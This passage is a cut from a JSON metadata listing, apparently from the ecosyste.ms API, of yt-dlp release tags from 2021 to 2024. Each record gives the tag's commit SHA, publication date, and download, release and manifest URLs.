:"d28aa87e215991023a0b2ea6fae0e000f283dcd1","kind":"commit","published_at":"2024-07-02T23:13:48.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.07.02","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.07.02","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.07.02","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.02","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.02/manifests"},{"name":"2024.07.01","sha":"cd68258225dc813c74fbda4c4fda0c736d6fda10","kind":"commit","published_at":"2024-07-01T23:01:05.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.07.01","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.07.01","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.07.01","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.01","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.07.01/manifests"},{"name":"2024.05.27","sha":"111b61ddef305584d45a48e7b7c73ffcedf062a2","kind":"commit","published_at":"2024-05-27T22:35:55.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.05.27","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.05.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.05.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.05.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.05.27/manifests"},{"name":"2024.05.26","sha":"ed274b60b1ad0193fcf8f4ebb6189b4b865525c6","kind":"commit","published_at":"2024-05-26T21:55:43.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.05.26","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.05.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.05.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.05.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.05.26/manifests"},{"name":"2024.04.09","sha":"168e72dcd3e04e0e19e92c012a04b8a1e4658f50","kind":"commit","published_at":"2024-04-09T17:03:28.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.04.09","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.04.09","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.04.09","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.04.09","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.04.09/manifests"},{"name":"2024.03.10","sha":"8463fb510a58050ec118b3ae17bf00d08ea7b881","kind":"commit","published_at":"2024-03-10T19:40:56.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2024.03.10","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2024.03.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2024.03.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.03.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2024.03.10/manifests"},{"name":"2023.12.30","sha":"9f40cd289665b2fb8a05ccaf9721b3b2ca0f39c7","kind":"commit","published_at":"2023-12-30T21:43:13.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.12.30","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.12.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.12.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.12.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.12.30/manifests"},{"name":"2023.11.16","sha":"fe6c82ccff6338d97711204162731a8a6741c9b4","kind":"commit","published_at":"2023-11-16T00:01:38.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.11.16","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.11.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.11.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.11.16/manifests"},{"name":"2023.11.14","sha":"5d3a3cd4934853126a5d6b721dbec6946c9cd8ce","kind":"commit","published_at":"2023-11-14T22:09:25.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.11.14","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.11.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.11.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.11.14/manifests"},{"name":"2023.10.13","sha":"b73c4093187cffddcb6fbc4bfbdc0fea244ff1e9","kind":"commit","published_at":"2023-10-13T22:22:31.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.10.13","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.10.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.10.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.10.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.10.13/manifests"},{"name":"2023.10.07","sha":"4392c4680c383b221b6aa26d25c6e4b5581a5ad6","kind":"commit","published_at":"2023-10-07T01:28:34.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.10.07","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.10.07","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.10.07","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.10.07","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.10.07/manifests"},{"name":"2023.09.24","sha":"c54ddfba0f7d68034339426223d75373c5fc86df","kind":"commit","published_at":"2023-09-24T00:38:42.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.09.24","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.09.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.09.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.09.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.09.24/manifests"},{"name":"2023.07.06","sha":"cc0619f62d6da52689797483e96b29290b0c0873","kind":"commit","published_at":"2023-07-06T18:57:59.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.07.06","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.07.06","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.07.06","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.07.06","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.07.06/manifests"},{"name":"2023.06.22","sha":"de4cf77ec1a13f020e6afe4ed04248c6b19fccb6","kind":"commit","published_at":"2023-06-22T08:09:31.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.06.22","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.06.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.06.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.06.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.06.22/manifests"},{"name":"2023.06.21","sha":"d1b21561497b6bbb8ff1202e63f48eb41bd315af","kind":"commit","published_at":"2023-06-21T04:02:40.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.06.21","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.06.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.06.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.06.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.06.21/manifests"},{"name":"2023.03.04","sha":"8729e7b57c0d6e6350a76f82436e05d7b9891188","kind":"commit","published_at":"2023-03-04T22:24:51.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.03.04","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.03.04","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.03.04","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.03.04","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.03.04/manifests"},{"name":"2023.03.03","sha":"354d5fca7a533f60a6eee14e854b9b4c132a7314","kind":"commit","published_at":"2023-03-03T21:41:45.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.03.03","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.03.03","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.03.03","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.03.03","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.03.03/manifests"},{"name":"2023.02.17","sha":"41bd0dc4d71919dceeb84a3aab9c9934d46eee9f","kind":"commit","published_at":"2023-02-17T12:31:30.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.02.17","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.02.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.02.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.02.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.02.17/manifests"},{"name":"2023.01.06","sha":"7287ab92f6bcf90f1995fe73b8145f0fd9fadbf4","kind":"commit","published_at":"2023-01-06T21:21:26.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.01.06","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.01.06","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.01.06","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.01.06","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.01.06/manifests"},{"name":"2023.01.02","sha":"990dd7b00fc5f7c22ff339d0ca5b5b4f21923dca","kind":"commit","published_at":"2023-01-02T14:44:06.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2023.01.02","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.01.02","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2023.01.02","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.01.02","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2023.01.02/manifests"},{"name":"2022.11.11","sha":"5e39fb982ee98f0bd8f020c878cf6921beae6e2e","kind":"commit","published_at":"2022-11-11T10:37:46.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.11.11","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.11.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.11.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.11.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.11.11/manifests"},{"name":"2022.10.04","sha":"57fb88093ea08108f3118b69bc56353625b34c5c","kind":"commit","published_at":"2022-10-04T04:50:32.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.10.04","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.10.04","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.10.04","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.10.04","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.10.04/manifests"},{"name":"2022.09.01","sha":"adba24d2079d350fc03226adff3cae919d7a11db","kind":"commit","published_at":"2022-09-01T11:26:07.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.09.01","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.09.01","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.09.01","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.09.01","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.09.01/manifests"},{"name":"2022.08.18.36","sha":"778763d9e6e72a49ebfbea40cc6e3c62d233bdf8","kind":"commit","published_at":"2022-08-19T04:52:49.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.08.18.36","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.08.18.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.08.18.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.08.18.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.08.18.36/manifests"},{"name":"2022.08.19","sha":"b76e9cedb33d23f21060281596f7443750f67758","kind":"commit","published_at":"2022-08-19T00:11:11.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.08.19","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.08.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.08.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.08.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.08.19/manifests"},{"name":"2022.08.14","sha":"9fd03a16960918187cea826f241620b8c98d34fb","kind":"commit","published_at":"2022-08-14T22:18:33.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.08.14","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.08.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.08.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.08.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.08.14/manifests"},{"name":"2022.08.08","sha":"f1e2d4a9a21a17c0cc8132b248b81092aeb88206","kind":"commit","published_at":"2022-08-08T22:15:24.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.08.08","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.08.08","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.08.08","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.08.08","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.08.08/manifests"},{"name":"2022.07.18","sha":"0b5583b112d418ba4d4eefcde1cd4d54ab95458a","kind":"commit","published_at":"2022-07-18T00:03:50.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.07.18","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.07.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.07.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.07.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.07.18/manifests"},{"name":"2022.06.29","sha":"84a251e1f5f9d36e89c3b8dc5849fe979ed01359","kind":"commit","published_at":"2022-06-29T01:41:48.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.06.29","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.06.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.06.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.06.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.06.29/manifests"},{"name":"2022.06.22.1","sha":"f92347c3121e89e9097c2cdab2a2a11dd041a147","kind":"commit","published_at":"2022-06-22T01:14:25.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.06.22.1","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.06.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.06.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.06.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.06.22.1/manifests"},{"name":"2022.06.22","sha":"0af80bcf70a8151c0dcf75c690fdcf7749aeb9da","kind":"commit","published_at":"2022-06-22T00:50:42.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.06.22","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.06.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.06.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.06.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.06.22/manifests"},{"name":"2022.05.18","sha":"926ccc84ef91498f3147b07d15eb5f40cd070471","kind":"commit","published_at":"2022-05-18T03:37:32.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.05.18","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.05.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.05.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.05.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.05.18/manifests"},{"name":"2022.04.08","sha":"dee1d65dc362f69b28287b2e82d93be4d22d1968","kind":"commit","published_at":"2022-04-08T09:57:06.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.04.08","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.04.08","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.04.08","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.04.08","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.04.08/manifests"},{"name":"2022.03.08.1","sha":"a3b7dff015bf24141763c1125c7c0f7e80c37fd3","kind":"commit","published_at":"2022-03-08T20:23:28.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.03.08.1","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.03.08.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.03.08.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.03.08.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.03.08.1/manifests"},{"name":"2022.03.08","sha":"5a93dc1b8591a686fcd4cc5555d7f534bf9946c8","kind":"commit","published_at":"2022-03-08T19:57:15.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.03.08","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.03.08","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.03.08","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.03.08","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.03.08/manifests"},{"name":"2022.02.04","sha":"b7614282264a5427f7319c5f6c065c33008404c1","kind":"commit","published_at":"2022-02-04T06:39:10.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.02.04","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.02.04","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.02.04","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.02.04","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.02.04/manifests"},{"name":"2022.02.03","sha":"3cea9ec2eb63fae38878dbf0bee4d7da5d954fab","kind":"commit","published_at":"2022-02-03T17:51:54.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.02.03","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.02.03","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.02.03","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.02.03","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.02.03/manifests"},{"name":"2022.01.21","sha":"b54e1255ce175447b4f78c6a6b01ea68fd7d8ce0","kind":"commit","published_at":"2022-01-21T11:57:11.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2022.01.21","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2022.01.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2022.01.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.01.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2022.01.21/manifests"},{"name":"2021.12.27","sha":"1e5c83b26b7f3f7cc7bede561865ef5e83bfb422","kind":"commit","published_at":"2021-12-27T02:30:03.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.12.27","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.12.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.12.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.12.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.12.27/manifests"},{"name":"2021.12.25","sha":"459aea84c32b71590558813186be2e34edb0b86d","kind":"commit","published_at":"2021-12-25T00:34:16.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.12.25","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.12.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.12.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.12.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.12.25/manifests"},{"name":"2021.12.01","sha":"91f071af60829f55c8e53b1c7d12dfd0bab71ddf","kind":"commit","published_at":"2021-12-01T00:16:15.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.12.01","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.12.01","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.12.01","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.12.01","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.12.01/manifests"},{"name":"2021.11.10.1","sha":"9ebf3c6ab97c29b2d5872122e532bc98b93ad8b3","kind":"commit","published_at":"2021-11-10T01:47:10.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.11.10.1","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.11.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.11.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.11.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.11.10.1/manifests"},{"name":"2021.11.10","sha":"2e9a445bc34e79182f900909d727ba87f8487522","kind":"commit","published_at":"2021-11-10T01:14:33.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.11.10","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.11.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.11.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.11.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.11.10/manifests"},{"name":"2021.10.22","sha":"1117579b9457f8fbf7a4d7433a92b67ac802bdea","kind":"commit","published_at":"2021-10-22T20:47:18.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.10.22","html_url":"https://github.com/yt-dlp/